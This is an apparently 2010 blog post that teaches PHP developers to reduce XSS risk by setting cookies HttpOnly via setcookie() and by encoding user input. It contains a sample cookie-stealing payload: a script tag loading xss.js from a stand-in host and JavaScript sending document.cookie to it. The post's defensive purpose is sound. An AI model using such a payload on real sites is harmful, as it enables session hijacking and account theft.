PHP: setcookie() with HttpOnly Option to Reduce XSS (Cross Site Scripting) Attacks by Preventing JavaScript from Reading Cookies

by Yang Yang on March 4, 2010

It may considerably reduce XSS attack possibilities if not completely eradicate it. XSS, or Cross Site Scripting, is probably the most common security problems in web applications that engage in heavy user input. If you’ve ever tried to build a web application that users can input data in a lot of different venues, chances are it has a security hole somewhere that allows XSS attacks. Don’t panic though. Most web applications, even the most sophisticated ones developed by the best programmers such as vBulletin and WordPress release patches from time to time to fix XSS holes.

While it appears that XSS does no more than messing up the web pages in client’s browsers, it can be much much worse. XSS attacks make it possible for crackers to completely steal your identity (e.g. administrator account) on the website by planting a JavaScript file hosted somewhere else into your application pages. For instance, consider a malicious user who manages to put the following HTML code into the biography section of his user profile page on your application:

<script type=text/javascript src=http://1.2.3.4:8081/xss.js></script>

When you visit that page, without any knowledge of it at all, your browser automatically downloads and runs the script xss.js which contains a simple snippet:

window.location="http://1.2.3.4:8081/r.php?u="
+document.links[1].text
+"&l="+document.links[1]
+"&c="+document.cookie;

Via an HTTP GET request to the cracker’s server, the JS file successfully fetches and sends your cookie to the cracker. And the cookie is what your application solely relies on to recognize you as the administrator. Your identity is thus completely stolen by the cracker and he can now log into your application as the administrator. Horror story.

The first defense against XSS is to trust none of the user provided data and encode all incoming data into HTML entities before outputting them on the web pages. But that’s not enough. Unless you absolutely need JavaScript to be able to access cookies for your application, you are highly recommended to set the cookie to be accessible only via HTTP requests (from your own application server instead of user’s local browser). To do that, set the HttpOnly option of the PHP setcookie() function to be true:

setcookie("loggedin", 1, time() + 86400, "/admin/", "example.com", false, true); // the last (7th) parameter value true does the job

The last option value "true" effectively turns on the HttpOnly option and the cookie "loggedin" will ONLY be accessible to HTTP requests from the domain server and no JavaScript can read it any more. The HttpOnly parameter of the setcookie() function is only available in PHP 5.2.0 or later.

Previous post:

Next post: